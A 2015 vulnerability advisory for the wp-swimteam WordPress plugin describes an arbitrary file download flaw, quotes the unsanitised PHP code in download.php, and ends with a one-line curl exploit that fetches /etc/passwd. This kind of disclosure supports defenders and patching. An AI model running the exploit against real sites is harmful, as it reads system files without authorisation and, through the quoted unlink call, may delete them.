WordPress Plugin Swim Team 1.44.10777 – Arbitrary File Download
Title: Remote file download vulnerability in Wordpress Plugin wp-swimteam v1.44.10777 Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-02 Download Site: https://wordpress.org/plugins/wp-swimteam Vendor: Mike Walsh www.MichaelWalsh.org Vendor Notified: 2015-07-02, fixed in v1.45beta3 Vendor Contact: Through website Advisory: http://www.vapid.dhs.org/advisory.php?v=134 Description: Swim Team (aka wp-SwimTeam) is a comprehensive WordPress plugin to run a swim team including registration, volunteer assignments, scheduling, and much more. Vulnerability: The code in ./wp-swimteam/include/user/download.php doesn't sanitize user input from downloading sensitive system files: 50 $file = urldecode($args['file']) ; 51 $fh = fopen($file, 'r') or die('Unable to load file, something bad has happened.') ; 52 53 while (!feof($fh)) 54 $txt .= fread($fh, 1024) ; 55 56 // Clean up the temporary file - permissions 57 // may prevent this from succeedeing so use the '@' 58 // to suppress any messages from PHP. 59 60 @unlink($file) ; 61 } 62 63 $filename = urldecode($args['filename']) ; 64 $contenttype = urldecode($args['contenttype']) ; 65 66 // Tell browser to expect a text file of some sort (usually txt or csv) 67 68 header(sprintf('Content-Type: application/%s', $contenttype)) ; 69 header(sprintf('Content-disposition: attachment; filename=%s', $filename)) ; 70 print $txt ; CVEID: OSVDB: Exploit Code: • $ curl "http://server/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress" |